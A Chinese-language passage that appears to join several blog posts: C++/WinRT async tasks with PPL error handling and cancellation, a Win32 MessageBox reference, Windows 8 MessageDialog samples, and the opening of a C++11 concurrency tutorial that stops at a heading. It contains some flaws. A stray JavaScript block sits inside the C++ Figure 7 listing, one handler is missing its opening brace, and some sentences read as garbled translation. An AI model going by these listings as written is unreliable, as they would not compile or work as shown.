要向其他 WinRT 语言公开异步操作，请在你的 C++ 组件中定义一个公共 ref 类，并定义一个返回四个异步接口之一的函数。你可以在 PPL 示例包中找到有关混合 C++/JavaScript 应用程序的具体示例（要获得该示例包，请联机搜索“Asynchrony with PPL”）。以下代码段以带进度的异步操作公开图像转换例程：

public ref class ImageTransformer sealed
{
public:
  //
  // Expose image transformation as an asynchronous action with progress
  //
  IAsyncActionWithProgress<int>^ GetTransformImageAsync(String^ inFile, String^ outFile);
}

如图 6所示，应用程序的客户端部分在 JavaScript 中使用 promise 对象实现。

图 6 在 JavaScript 中使用图像转换例程

var transformer = new ImageCartoonizerBackend.ImageTransformer();
...
          transformer.getTransformImageAsync(copiedFile.path, dstImgPath).then(
function () {
// Handle completion…
},
function (error) {
// Handle error…
},
function (progressPercent) {
// Handle progress:
UpdateProgress(progressPercent);
}
);

错误处理和取消

留心的读者可能已经注意到，这种异步处理到目前为止几乎完全不涉及任何错误处理和取消。下面就立即开始讨论这个主题！

文件读取例程总会不可避免地遇到不存在的文件或因众多原因而无法打开的文件。字典查询功能将遇到不认识的字词。图像转换无法尽快生成结果，而被用户取消。在这些场景中，操作在执行完预期的工作之前已经永远终止。

在现代的 C++ 中，异常用于指示错误或其他异常条件。异常在单线程中运行非常好：当引发异常时，堆栈随即展开，一直展开到调用堆栈下的适当 catch 块。加入并发后，事情就变得杂乱了，因为从一个线程生成的异常不容易被另一个线程捕获。

考虑任务和延续任务发生了什么：当任务的主体引发了异常时，其执行流即被中断，并且无法生成值。如果没有值可以传递给延续任务，则延续任务不会运行。即使是不生成值的 void 任务，你也需要能够告诉它之前的任务是否已成功完成。

这就是为什么存在延续任务的另一种形式：对于类型 T 的任务，错误处理延续任务的 lambda 采用 task。要获得之前任务生成的值，必须对参数任务调用 get 方法。如果之前的任务已成功完成，则 get 也成功完成。否则，get 方法将引发异常。

在此我想要强调一个重点。对于 PPL 中的所有任务，包括从异步操作创建的任务，对其调用 get 函数在语法上是有效的。然而，在结果可用之前，get 方法必须阻止调用线程，当然，这与我们“快而流畅”的口号是矛盾的。因此，一般不鼓励对任务调用 get 方法，并且在 STA 中禁止调用该方法（运行时将引发“无效操作”异常）。仅当你将任务作为延续任务的参数，才能调用 get。图 7 显示了一个示例。

图 7 错误处理延续任务

task<image> take_picture([]() {
  if (!init_camera())
    throw std::exception("can’t init camera");
  return get_image();
});

take_picture.then([](task<image> antecedent) {
  try
  {
    image img = antecedent.get();
  }
  catch (std::exception ex)
  {
    // Handle exception here
  }
});
var transformer = new ImageCartoonizerBackend.ImageTransformer();
...
          transformer.getTransformImageAsync(copiedFile.path, dstImgPath).then(
  function () {
    // Handle completion…
  },
  function (error) {
    // Handle error…
  },
  function (progressPercent) {
    // Handle progress:
    UpdateProgress(progressPercent);
  }
);

你程序中的每个延续任务都可能是错误处理延续任务，你可以选择处理所有延续任务中的异常。然而，在由多个任务组成的程序中，处理所有延续任务中的异常可能会造成过度负载。幸运的是，这种情况不一定发生。与未处理的异常相似，沿着调用堆栈向下处理，直到找到捕获它们的框架，由任务引发的异常可以“慢慢流向”链中的下一个延续任务（直到到达最后处理它们的位置）。并且必须对他们进行处理，如果某个异常保持未处理状态超过了任务本可以对它完成处理的生存期，则运行时将引发“未观察到的异常”异常。

现在让我们回到文件读取示例，并针对它讨论错误处理。由 WinRT 引发的所有异常都属于类型 Platform::Exception，因此这也是我要在最后的延续任务中捕获的内容，如图 8所示。

图8使用错误处理从文件读取字符串

task<String^> ReadStringTaskWithErrorHandling(String^ fileName)
{
  StorageFolder^ item = KnownFolders::PicturesLibrary;

  auto holder = ref new Holder();

  task<StorageFile^> getFileTask(item->GetFileAsync(fileName));
  return getFileTask.then([](StorageFile^ storageFile) {
    return storageFile->OpenAsync(FileAccessMode::Read);
  }).then([holder](IRandomAccessStream^ istream) {
    holder->Reader = ref new DataReader(istream);
    return holder->Reader->LoadAsync(istream->Size);
  }).then([holder](task<UINT> bytesReadTask) {
    try
    {
      UINT bytesRead = bytesReadTask.get();
      return holder->Reader->ReadString(bytesRead);
    }
    catch (Exception^ ex)
    {
      String^ result = ""; // return empty string
      return result;
    }
  });
}

延续任务捕获到异常后，将视异常为“已处理”，而延续任务则返回成功完成的任务。所以，在图 8中，ReadStringWithErrorHandling 的调用方将无法得知文件读取是否已成功完成。我在这里要说的是太早处理异常并不总是好事。

取消是过早终止任务的另一种形式。与 PPL 一样，在 WinRT 中进行取消需要双方的协作，即操作的客户端和操作本身。它们的作用不同：客户端请求取消，而操作确认或拒绝请求。由于客户端和操作之间的自然竞争，因此取消请求并不保证一定成功。

在 PPL 中，这两种作用分别由两个类型表示：cancellation_token_source 和 cancellation_token。前一个类型的实例用于通过调用 cancel 方法来请求取消。后一个类型的实例则从 cancellation_token_source 进行实例化，并作为最后一个参数传递给任务的构造函数（then 方法）或 create_async 方法的 lambda。

在任务的主体内部，实现可以通过调用 is_task_cancellation_requested 方法轮询取消请求，并通过调用 cancel_current_task 方法确认请求。由于 cancel_current_task 方法在封面下引发异常，因此可以在调用 cancel_current_task 之前进行一些资源清理。图 9显示了一个示例。

图 9 任务中取消以及对取消请求的反应

cancellation_token_source ct;

task<int> my_task([]() {
  // Do some work
  // Check if cancellation has been requested
  if(is_task_cancellation_requested())
  {
        // Clean up resources:
        // ...
          // Cancel task:
        cancel_current_task();
  }
  // Do some more work
  return 1;
}, ct.get_token());
...
          ct.cancel(); // attempt to cancel

请注意，许多任务都可以通过相同的 cancellation_tokensource 取消。这对于处理任务链和任务图形时非常方便。你可以取消指定的 cancellationtoken_source 管理的所有任务，而无需单独地取消每一个任务。当然，不保证所有任务都能实际响应取消请求。此类任务将完成，但是它们正常（基于值）的延续任务不会运行。错误处理延续任务将运行，但在尝试从之前任务获取值时将引发 task_canceled 异常。

最后，让我们看一下对生产方使用取消令牌。create_async 方法的 lambda 可以采用 cancellation_token 参数，使用 is_canceled 方法对该参数进行轮询，并在响应取消请求时取消该操作：

IAsyncAction^ action = create_async( [](cancellation_token ct) {
  while (!ct.is_canceled()); // spin until canceled
  cancel_current_task();
});
...
          action->Cancel();

请注意，在任务延续的情况下，由 then 方法接收取消令牌，而对于 create_async，取消令牌则传递到 lambda。在后一种情况下，通过对生成的异步接口调用 cancel 方法启动取消，然后由 PPL 通过取消令牌直接将它插入取消请求。

总结

如同 Tony Hoare 曾经嘲笑的一样，我们需要教育我们的程序“等待快一点”。然而，不等待的异步编程仍然很难掌控，并且其优势也不是非常明显，因此开发人员不使用它。

在 Windows 8 中，所有阻止操作都是异步的。如果你是一名 C++ 程序员，PPL 可以使异步编程非常愉快。拥抱异步世界吧，告诉你的程序等待再快一点！

赶紧下载VS11体验吧

http://www.microsoft.com/click/services/Redirect2.ashx?CR_CC=200098144

我们所了解的MessageBox。

函数原型：essageBox.Show(Text,Title,MessageBoxButtons,MessageBoxIcon ,MessageBoxDefaultButtons) 　

参数说明： 　　

（1）Text：必选项，消息框的正文。 　　

（2）Title：可选项，消息框的标题。 　　

（3）MessageBoxButtons：可选项，消息框的按钮设置，默认只显示【确定】按钮。 　　

OK――确定　OKCancel――确定和取消 AbortRetryIgnore――终止、重试和忽略 YesNoCancel――是、否和取消 YesNo――是和否 RetryCancel――重试和取消

（4）MessageBoxIcon：对话框中显示的图标样式，默认不显示任何图标。 Question――问号 Information、Asterisk――i号 Error、Stop、Hand――错误号Warning、Exclamation――！号 None――不显示任何图标 　　

（5）MessageBoxDefaultButtons：可选项，对话框中默认选中的按钮设置。DefaultButton1――第1个button是默认按钮 　　DefaultButton2――第2个button是默认按钮 　　DefaultButton3――第3个button是默认按钮 　　

备注：函数原型中蓝色字体部分的参数，可以通过点来获取其后面跟随的参数值。

MessageBox(NULL,"text","title",BUTTON);

参数title：string类型，指定消息对话框的标题。text：指定消息对话框中显示的消息，该参数可以是数值数据类型、字符串或boolean值。icon：Icon枚举类型，可选项，指定要在该对话框左侧显示的图标。button：Button枚举类型，可选项，指定显示在该对话框底部的按钮。default：数值型，可选项，指定作为缺省按钮的按钮编号，按钮编号自左向右依次计数，缺省值为1，如果该参数指定的编号超过了显示的按钮个数，那么MessageBox()函数将使用缺省值返回值Integer。函数执行成功时返回用户选择的按钮编号（例如1、2、3等），发生错误时返回-1。如果任何参数的值为NULL，MessageBox()函数返回NULL。 
比如说，想弹出如图所示的窗口，命令为： MessageBox(NULL,"MessageBoxText(内容)","Title(标题)",MB_OK); 如果想置顶 　　int iRet; iRet=MessageBox(hwnd,"PLC报警！","对话框",MB_YESNO|MB_ICONQUESTION|MB_SYSTEMMODAL); 　　或 iRet=MessageBox(NULL,"PLC报警！","对话框", MB_YESNO|MB_ICONQUESTION|MB_DEFBUTTON1|MB_SYSTEMMODAL); 增加一个焦点在第一个按钮上更有效。

参数如下

hWnd:标识将被创建的消息框的拥有窗口。如果此参数为NULL，则消息框没有拥有窗口。

lpText：指向一个以NULL结尾的、含有将被显示的消息的字符串的指针。

lpCaption：指向一个以NULL结尾的、用于对话框标题的字符串的指针。

uType：指定一个决定对话框的内容和行为的位标志集。此参数可以为下列标志组中标志的组合。

指定下列标志中的一个来显示消息框中的按钮，标志的含义如下。

MB_ABORTRETRYIGNORE：消息框含有三个按钮：Abort，Retry和Ignore。

MB_OK：消息框含有一个按钮：OK。这是缺省值。

MB_OKCANCEL：消息框含有两个按钮：OK和Cancel。

MB_RETRYCANCEL：消息框含有两个按钮：Retry和Cancel。

MB_YESNO：消息框含有两个按钮：Yes和No。

MB_YESNOCANCEL：消息框含有三个按钮：Yes，No和Cancel。

指定下列标志中的一个来显示消息框中的图标：标志的含义如下。

MB_ICONEXCLAMATION:

MB_ICONWARNING：一个惊叹号出现在消息框。

MB_ICONINFORMATION：

MB_ICONASTERISK：一个圆圈中小写字母i组成的图标出现在消息框。

MB_ICONQUESTION:一个问题标记图标出现在消息框。

MB_ICONSTOP:

MB_ICONERROR：

MB_ICONHAND：一个停止消息图标出现在消息框。

指定下列标志中的一个来显不缺省的按钮：标志的含义如下。

MB_DEFBUTTON1：第一个按钮为缺省按钮。如果MB_DEFBUTTON2，MB_DEFBUTTON3，MB_DEFBUTTON4没有被指定，则MB_DEFBUTTON1为缺省值。

MB_DEFBUTTON2；第二个按钮为缺省按钮。

MB_DEFBUTTON3：第三个按钮为缺省按钮。

MB_DEFBUTTON4：第四个按钮为缺省按钮。

指定下列标志中的一个来显示对话框的形态：标志的含义如卜。

MB_APPLMODAL：在hwnd参数标识的窗口中继续工作以前，用户一定响应消息框。但是，用户可以移动到其他线程的窗口且在这些窗口中工作。根据应用程序中窗口的层次机构，用户则以移动到线程内的其他窗口。所有母消息框的子窗口自动地失效，但是弹出窗口不是这样。如果既没有指定MB_SYSTEMMODAL也没有指定MB_TASKMOOAL，则MB_APPLMODAL为缺省的。

MB_SYSTEMMODAL：除了消息框有WB_EX_TOPMOST类型，MB_APPLMODAL和WS_EX_TOPMOST一样。用系统模态消息框来改变各种各样的用户，主要的损坏错误需要立即注意（例如，内存溢出）。如果不是那些与hwnd联系的窗口，此标志对用户对窗口的相互联系没有影响。

MB_TASKMODAL：如果参数hwnd为NULL，除了所有属于当前线程高层次的窗口足失效的，MB_TASKMODALL和MB_ApPLMODAL一样。当调用应用程序或库没有一个可以得到的窗口句柄时，使用此标志。但仍需要阻止到调用应用程序甲其他窗口的输入而不是搁置其他线程。

另外，可以指定下列标志。

MB_DEFAULT_DESKTOP_ONLy：接收输入的当前桌面一定是一个缺省桌面。否则，函数调用失败。缺省桌面是一个在用户已经纪录且以后应用程序在此上面运行的桌面。

MB_HELP：把一个Help按钮增加到消息框。选择Help按钮或按F1产生一个Help事件。

MB_RIGHT：文本为右调整。

MB_RTLREADING：用在Hebrew和Arabic系统中从右到左的顺序显示消息和大写文本。

MB_SETFOREGROUND：消息框变为前景窗口。在内部系统为消息个调用SetForegroundWindow函数。

MB_TOPMOSI：消息框用WS_EX_TOPMOST窗口类型来创建MB_SERVICE_NOTIFICATION。

Windows NT：调用程序是一个通知事件的用户的服务程序。函数在当前活动桌面上显示一个消息框，即使没有用户登记到计算机。

如果设置了此参数，则hwnd参数一定为NULL。所以消息框可以出现在一个桌面上而不是桌面响应参数hwnd。

对于Windows NT 4.0，MB_SERVICE_NOTIFICATION的值已经改变。对于旧的和新的值，请参见WINUSER。

Windows NT 4.O通过把旧值映射到MessageBox和MessageBoxEx执行中的新值，为先存在的服务程序提供逆兼容。此映射只为有了版本数目的可执行程序而做。

为了建立一个用MB_SERVICE_NOTIFICATION的服务器，且可以在Windows NT 3.X和Window NT 4.0上执行，可有两种选择。在连接时间，指定一个版本数目小于4.0的版本，或在连接时间，指定一个4.0版本。在运行时间，用函数GetVersionEx来检测系统版本，然后在Windows NT 3.X上用MB_SERVICE_NOTIFICATION_NT 3.x来运行和在Windows NT 4.0上用MB_SERVICE_NOTIFICAION来运行。MB_SERVCE_NOTIFICATION_NT3.x（WindowNT）此值响应于为WindowNT3.51的MB_SERVICE_NOTIFICAION

定义的值。

返回值如下

如果没有足够的内存来创建消息框，则返回值为零。如果函数调用成功，则返回值为下列对话框返回的菜单项目值中的一个：

IDABORT：Abort 按钮被选中。IDCANCEL：Cancel按钮被选中。IDIGNORE：Ignore按钮被选中。

IDNO：NO按钮被选中。IDOK：OK按钮被选中。IDRETRY：RETRY按钮被选中。

IDYES：YES按钮被选中。

如果一个消息框有一个Cancel按钮，且如果Esc键被按下或Cancel键被选择，则函数返回IDCANCEL值。如果消息框没有Cancel按钮，则按Esc键没有作用。

MessageBox的返回值默认定义 MessageBox的返回值其实都是整型的数，以下是默认的定义

　　#define IDOK 1

　　#define IDCANCEL 2

　　#define IDABORT 3

　　#define IDRETRY 4

　　#define IDIGNORE 5

　　#define IDYES 6

　　#define IDNO 7

　　#if(WINVER >= 0x0400)

　　#define IDCLOSE 8

　　#define IDHELP 9

下面我们来亲自实践Windows8中的MessageBox

看一下程序初始化代码

      #include "pch.h"
#include "MainPage.xaml.h"
#include "App.xaml.h"

using namespace Windows::UI::Xaml;
using namespace Windows::UI::Xaml::Controls;
using namespace Windows::UI::Xaml::Data;
using namespace Windows::System;
using namespace Windows::Foundation;
using namespace Platform;
using namespace MessageDialog;
using namespace CppSamplesUtils;
using namespace Windows::UI::Xaml::Navigation;
using namespace Windows::UI::Xaml::Interop;
using namespace Windows::UI::ViewManagement;
using namespace Windows::Graphics::Display;

MainPage::MainPage()
{
    InitializeComponent();

    SetFeatureName("MessageDialog");

    _scenariosFrame = ScenarioList;
    _inputFrame = ScenarioInput;
    _outputFrame = ScenarioOutput;

    _layoutHandlerToken = ApplicationView::GetForCurrentView()->ViewStateChanged +=
    ref new TypedEventHandler<ApplicationView^, ApplicationViewStateChangedEventArgs^>(this, &MainPage::Page_ViewStateChanged);

    _pageLoadedHandlerToken = Loaded += ref new RoutedEventHandler(this, &MainPage::Page_Loaded);
    _logicalDpiChangedToken = DisplayProperties::LogicalDpiChanged += ref new DisplayPropertiesEventHandler(this, &MainPage::DisplayProperties_LogicalDpiChanged);

}

MainPage::~MainPage()
{
}

void MainPage::Page_Loaded(Object^ sender, RoutedEventArgs^ e)
{
        TypeName pageType = { "MessageDialog.ScenarioList", TypeKind::Custom };
    ScenarioList->Navigate(pageType, this);

    CheckResolutionAndViewState();
}

void MainPage::SetFeatureName(String^ strFeature)
{
    FeatureName->Text = strFeature;
}

void MainPage::Page_ViewStateChanged(ApplicationView^ sender, ApplicationViewStateChangedEventArgs^ e)
{
    CheckResolutionAndViewState();
}

void MainPage::DisplayProperties_LogicalDpiChanged(Object^ sender)
{
    CheckResolutionAndViewState();
}

void MainPage::CheckResolutionAndViewState()
{
    ::ApplicationViewState state = ApplicationView::Value;
    String^ stateString = ConvertViewState(state);

    ::ResolutionScale scale = DisplayProperties::ResolutionScale;
    String^ scaleString = ConvertResolution(scale);

    VisualStateManager::GoToState(this, stateString + scaleString, false);
}

String^ MainPage::ConvertViewState(::ApplicationViewState state)
{
    switch (state)
    {
    case ::ApplicationViewState::Filled:
        return "Filled";
    case ::ApplicationViewState::FullScreenLandscape:
        return "FullScreenLandscape";
    case ::ApplicationViewState::FullScreenPortrait:
        return "FullScreenPortrait";
    case ::ApplicationViewState::Snapped:
        return "Snapped";
    }
    return "";
}

String^ MainPage::ConvertResolution(::ResolutionScale scale)
{
    switch (scale)
    {
    case ::ResolutionScale::Scale100Percent:
        return "Scale100Percent";
    case ::ResolutionScale::Scale140Percent:
        return "Scale140Percent";
    case ::ResolutionScale::Scale180Percent:
        return "Scale180Percent";
    }
    return "";
}

void MainPage::DoNavigation(TypeName pageType, ::Frame^ frame)
{
    frame->Navigate(pageType, this);

    std::wstring PageName(pageType.Name->Data());
    std::basic_string <wchar_t>::size_type indexSubstring;
    indexSubstring = PageName.find(L"Output");
    if (indexSubstring != std::wstring::npos)
    {
               if (OutputFrameLoaded != nullptr)
        {
            OutputFrameLoaded(this, nullptr);
        }
    }
    else
    {

        if (InputFrameLoaded != nullptr)
        {
            InputFrameLoaded(this, nullptr);
        }
    }
}

void MainPage::NotifyUser(String^ strMessage, NotifyType type)
{
    switch (type)
    {
    case NotifyType::StatusMessage:
        StatusBlock->Style = dynamic_cast<::Style^>(App::Current->Resources->Lookup("StatusStyle"));
        break;
    case NotifyType::ErrorMessage:
        StatusBlock->Style = dynamic_cast<::Style^>(App::Current->Resources->Lookup("ErrorStyle"));
        break;
    default:
        break;
    }
    StatusBlock->Text = strMessage;
}

void MainPage::Footer_Click(Object^ sender, RoutedEventArgs^ e)
{
    auto _hyperlinkButton = (HyperlinkButton^)sender;
    auto uri = ref new ::Uri((String^)_hyperlinkButton->Tag);

    ::Launcher::LaunchUriAsync(uri);
}

对话框1

      #pragma region Click handlers
void ScenarioInput1::Scenario1Launch_Click(Platform::Object^ sender, Windows::UI::Xaml::RoutedEventArgs^ e)
{
     Windows::UI::Popups::MessageDialog^ msg = ref new Windows::UI::Popups::MessageDialog("You've exceeded your trial period.");

    IAsyncOperation<IUICommand^>^ operation = msg->ShowAsync();

     operation->Completed = ref new AsyncOperationCompletedHandler<IUICommand^>([this](IAsyncOperation<IUICommand^>^ op, AsyncStatus status)
    {
        if (status == AsyncStatus::Completed)
        {
            this->NotifyUserHandler();
            op->Close();
        }
        else
        {
            rootPage->NotifyUser("Message dialog returned an error", NotifyType::StatusMessage);
        }
    });
}

void ScenarioInput1::NotifyUserHandler()
{
    InvokedHandler^ callback = ref new InvokedHandler([this](Object^ sender, IInvokedHandlerArgs^ eInvoke)
    {
        rootPage->NotifyUser("The dialog has now been closed", NotifyType::StatusMessage);
    });

    Dispatcher->InvokeAsync(Windows::UI::Core::CoreDispatcherPriority::Normal, callback, this, nullptr);
}
#pragma endregion

对话框2

      using namespace MessageDialog;
using namespace Windows::UI::Core;
using namespace Windows::UI::Popups;
using namespace Windows::UI::Xaml::Navigation;
using namespace Windows::Foundation;
using namespace Platform;

ScenarioInput2::ScenarioInput2()
{
    InitializeComponent();
}

ScenarioInput2::~ScenarioInput2()
{
}
void ScenarioInput2::OnNavigatedTo(NavigationEventArgs^ e)
{
       rootPage = dynamic_cast<MainPage^>(e->Parameter);

    _frameLoadedToken = rootPage->OutputFrameLoaded += ref new Windows::Foundation::EventHandler<Platform::Object^>(this, &ScenarioInput2::rootPage_OutputFrameLoaded);
}

void ScenarioInput2::OnNavigatedFrom(NavigationEventArgs^ e)
{
    rootPage->OutputFrameLoaded -= _frameLoadedToken;
}
#pragma endregion

#pragma region Output frame
void ScenarioInput2::rootPage_OutputFrameLoaded(Object^ sender, Object^ e)
{
    // Get a pointer to the content within the OutputFrame
    Page^ outputFrame = dynamic_cast<Page^>(rootPage->OutputFrame->Content);
}
#pragma endregion

#pragma region Click handlers
void ScenarioInput2::Scenario2Launch_Click(Platform::Object^ sender, Windows::UI::Xaml::RoutedEventArgs^ e)
{
       Windows::UI::Popups::MessageDialog^ msg = ref new Windows::UI::Popups::MessageDialog("You have exceeded your trial period. Would you like to continue your trial or upgrade to the full version?");

      UICommand^ continueCommand = ref new UICommand("Continue trial", ref new UICommandInvokedHandler(this, &ScenarioInput2::CommandInvokedHandler, CallbackContext::Same));
    UICommand^ upgradeCommand = ref new UICommand("Upgrade", ref new UICommandInvokedHandler(this, &ScenarioInput2::CommandInvokedHandler, CallbackContext::Same));

    msg->Commands->Append(continueCommand);
    msg->Commands->Append(upgradeCommand);

    msg->ShowAsync();
}

void ScenarioInput2::CommandInvokedHandler(Windows::UI::Popups::IUICommand^ command)
{
    String ^buttonLabel = command->Label;
    rootPage->NotifyUser("The '" + buttonLabel + "' button has been selected.", NotifyType::StatusMessage);
}
#pragma endregion

对话框3

      using namespace MessageDialog;
using namespace Windows::UI::Popups;
using namespace Windows::UI::Xaml::Navigation;
using namespace Platform;

ScenarioInput3::ScenarioInput3()
{
    InitializeComponent();
}

ScenarioInput3::~ScenarioInput3()
{
}

void ScenarioInput3::OnNavigatedTo(NavigationEventArgs^ e)
{
     rootPage = dynamic_cast<MainPage^>(e->Parameter);

    _frameLoadedToken = rootPage->OutputFrameLoaded += ref new Windows::Foundation::EventHandler<Platform::Object^>(this, &ScenarioInput3::rootPage_OutputFrameLoaded);
}

void ScenarioInput3::OnNavigatedFrom(NavigationEventArgs^ e)
{
    rootPage->OutputFrameLoaded -= _frameLoadedToken;
}
#pragma endregion

#pragma region Output frame
void ScenarioInput3::rootPage_OutputFrameLoaded(Object^ sender, Object^ e)
{
    Page^ outputFrame = dynamic_cast<Page^>(rootPage->OutputFrame->Content);
}
#pragma endregion

#pragma region Click handlers
void ScenarioInput3::Scenario3Launch_Click(Platform::Object^ sender, Windows::UI::Xaml::RoutedEventArgs^ e)
    Windows::UI::Popups::MessageDialog^ msg = ref new Windows::UI::Popups::MessageDialog("Would you like to install the new updates?", "Updates available");
    UICommand^ noInstallCommand = ref new UICommand("Don't install", ref new UICommandInvokedHandler(this, &ScenarioInput3::CommandInvokedHandler, CallbackContext::Same));
    UICommand^ installCommand = ref new UICommand("Install updates", ref new UICommandInvokedHandler(this, &ScenarioInput3::CommandInvokedHandler, CallbackContext::Same));

    msg->Commands->Append(noInstallCommand);
    msg->Commands->Append(installCommand);

    msg->DefaultCommandIndex = 1;

    msg->ShowAsync();
}
void ScenarioInput3::CommandInvokedHandler(Windows::UI::Popups::IUICommand^ command)
{
    String ^buttonLabel = command->Label;
    rootPage->NotifyUser("The '" + buttonLabel + "' button has been selected.", NotifyType::StatusMessage);
}
#pragma endregion

对话框4

      using namespace MessageDialog;
using namespace Windows::UI::Popups;
using namespace Windows::UI::Xaml::Navigation;
using namespace Platform;

ScenarioInput4::ScenarioInput4()
{
    InitializeComponent();
}

ScenarioInput4::~ScenarioInput4()
{
}

#pragma region Template-Related Code - Do not remove
void ScenarioInput4::OnNavigatedTo(NavigationEventArgs^ e)
{
       rootPage = dynamic_cast<MainPage^>(e->Parameter);

      _frameLoadedToken = rootPage->OutputFrameLoaded += ref new Windows::Foundation::EventHandler<Platform::Object^>(this, &ScenarioInput4::rootPage_OutputFrameLoaded);
}

void ScenarioInput4::OnNavigatedFrom(NavigationEventArgs^ e)
{
    rootPage->OutputFrameLoaded -= _frameLoadedToken;
}
#pragma endregion

#pragma region Output frame
void ScenarioInput4::rootPage_OutputFrameLoaded(Object^ sender, Object^ e)
{
    Page^ outputFrame = dynamic_cast<Page^>(rootPage->OutputFrame->Content);
}
#pragma endregion

#pragma region Click handlers
void ScenarioInput4::Scenario4Launch_Click(Platform::Object^ sender, Windows::UI::Xaml::RoutedEventArgs^ e)
{
    Windows::UI::Popups::MessageDialog^ msg = ref new Windows::UI::Popups::MessageDialog("You have been disconnected from the internet.");

    UICommand^ closeCommand = ref new UICommand("Retry", ref new UICommandInvokedHandler(this, &ScenarioInput4::CommandInvokedHandler, CallbackContext::Same));
    UICommand^ retryCommand = ref new UICommand("Close", ref new UICommandInvokedHandler(this, &ScenarioInput4::CommandInvokedHandler, CallbackContext::Same));

       msg->Commands->Append(closeCommand);
    msg->Commands->Append(retryCommand);
    msg->CancelCommandIndex = 1;

    msg->ShowAsync();
}
void ScenarioInput4::CommandInvokedHandler(Windows::UI::Popups::IUICommand^ command)
{
    String ^buttonLabel = command->Label;
    rootPage->NotifyUser("The '" + buttonLabel + "' button has been selected.", NotifyType::StatusMessage);
}

#pragma endregion

按下F5看运行效果

赶紧下载VS11体验吧

http://www.microsoft.com/click/services/Redirect2.ashx?CR_CC=200098144

最新的 C++ 迭代（称为 C++11，在去年通过了国际标准化组织 (ISO) 的审批）形式化了一组新库和一些保留字以处理并发。许多开发者以前都在 C++ 中使用过并发功能，但都是通过第三方的库，即，通常直接公开 OS API。

Herb Sutter 在 2004 年 12 月宣告“免费的性能午餐”结束，因为禁止 CPU 制造商通过物理能耗和增加碳排放量来生产更快的 CPU。由此进入了当前主流的多核时代，一种新的实现，而 C++（标准组件）为适应此类变化取得了重要的飞跃。

本文下面的内容将分成两节，另外还有一些小节。第一节，从并行执行开始，介绍允许应用程序并行运行独立或半独立活动的技术。第二节，从同步并发执行开始，探讨同步机制，这些活动通过同步方式处理数据，以避免出现争用情况。

本文基于即将推出的 Visual C++ 版本（现在称为 Visual C++ 11）中包括的功能。当前版本 (Visual C++ 2010) 中已提供其中部分功能。尽管本文不提供关于为并行算法建模的指南，也不提供关于所有可用选项的详尽文档，但却全面介绍了新的 C++11 并发功能，内容丰富详实。

并行执行

当您对数据建模和设计算法时，很自然地就会按照具有一定顺序的步骤指定这些建模和设计过程。只要性能位于可接受的范围内，这就是最值得推荐的方案，因为它通常更易于理解，而这符合维护代码的要求。

当性能成为令人担忧的问题时，为处理这种情况通常都会先尝试优化序列算法以减少使用的 CPU 循环。这种做法始终可行，直到无法再进行优化或难以优化。这时就需要将连续的一系列步骤拆分为同时进行的多项活动。

在第一节中，您将了解到以下内容：

异步任务： 一小部分原始算法，仅通过它们生成或使用的数据进行链接。

线程： 运行时环境管理的执行单元。它们与任务相关，因为任务在某种程度上在线程上运行。

线程内部： 线程绑定变量、线程传播的异常等等

异步任务

在本文随附的代码中，您将找到一个名为“顺序案列”的项目，如图 1 所示。

图 1 顺序案例代码

      int a, b, c;
int calculateA()
{
  return a+a*b;
}
int calculateB()
{
  return a*(a+a*(a+1));
}
int calculateC()
{
  return b*(b+1)-b;
}
int main(int argc, char *argv[])
{
  getUserData(); // initializes a and b
  c = calculateA() * (calculateB() + calculateC());
  showResult();
}

主函数向用户请求一些数据，然后将该数据提交给三个函数： calculateA、calculateB 和 calculateC。稍后将组合这些结果，以便为用户生成一些输出信息。

随附材料中计算函数的编码方式在每个函数中引入了 1 到 3 秒的随机延迟。由于这些步骤是按顺序执行的，因此只要输入数据，就会产生一个在最糟糕情况下为 9 秒的总体执行时间。您可以通过按 F5 运行本示例来尝试此代码。

因此，我需要修改执行序列和查找并发执行步骤。由于这些函数都是独立的，因此我可以使用异步函数并行执行它们：

      int main(int argc, char *argv[])

{

  getUserData();

  future<int> f1 = async(calculateB), f2 = async(calculateC);

  c = (calculateA() + f1.get()) * f2.get();

  showResult();

}

在这里我引入了两个概念： async 和 future，在 标头和 std 命名空间中都有定义。前者接收函数、lambda 或函数对象（即算符）并返回 future。您可以将 future 的概念理解为事件结果的占位符。什么结果？异步调用函数返回的结果。

在某些时候，我将需要这些并行运行函数的结果。对每个 future 调用 get 方法会阻止执行，直到值可用。

您可以通过运行随附示例中的 AsyncTasks 项目来测试修改后的代码，并将其与顺序案例进行比较。经过此修改后最糟情况下的延迟大约为 3 秒，与顺序版本的 9 秒相比有很大进步。

此轻型编程模型将开发者从创建线程的任务中解放出来。然而，您可以指定线程策略，但这里我不介绍此内容。

线程

前面一节介绍的异步任务模型在某些指定的应用场景中可能已经足够了，但如果您需要进一步处理和控制线程的执行，那么 C++11 还提供了线程类，该类在 标头中声明并位于 std 命名空间中。

尽管编程模型更为复杂，但线程可以提供更好的同步和协调方法，以允许它们执行其他线程并等待既定的时间长度，或直到其他线程完成后再继续。

在以下随附代码的“线程”项目中提供的示例中，我让 lambda 函数（为其赋予了整数参数）将其小于 100,000 的倍数显示到控制台：

      auto multiple_finder = [](int n) {

  for (int i = 0; i < 100000; i++)

    if (i%n==0)

      cout << i << " is a multiple of " << n << endl;

};

int main(int argc, char *argv[])

{

  thread th(multiple_finder, 23456);

  multiple_finder(34567);

  th.join();

}

正如您将在后面的示例中看到的，我视情况将 lambda 传递给线程；一个函数或算符就已足够。

在主函数中，我使用不同的参数在两个线程中运行此函数。看一下生成的结果（因为运行时机不同，运行产生的结果也不同）：

      0 is a multiple of 23456
0 is a multiple of 34567
23456 is a multiple of 23456
34567 is a multiple of 34567
46912 is a multiple of 23456
69134 is a multiple of 34567
70368 is a multiple of 23456
93824 is a multiple of 23456

我可以使用线程实现前面一节中有关异步任务的示例。为此，我需要引入 promise 的概念。可以将 promise 理解为一个用于放置可用结果的接收器。将结果放置在其中后又从哪个位置提取该结果呢？每个 promise 都有一个关联的 future。

图 2中显示的、示例代码的 Promise 项目中提供的代码将三个线程（而非任务）与 promise 关联并让每个线程调用 calculate 函数。将这些细节与轻型 AsyncTasks 版本比较。

图 2 关联 Future 和 Promise

      typedef int (*calculate)(void);
void func2promise(calculate f, promise<int> &p)
{
  p.set_value(f());
}
int main(int argc, char *argv[])
{
  getUserData();
  promise<int> p1, p2;
  future<int> f1 = p1.get_future(), f2 = p2.get_future();
  thread t1(&func2promise, calculateB, std::ref(p1)),
    t2(&func2promise, calculateC, std::ref(p2));
  c = (calculateA() + f1.get()) * f2.get();
  t1.join(); t2.join();
  showResult();
}

线程绑定变量和异常

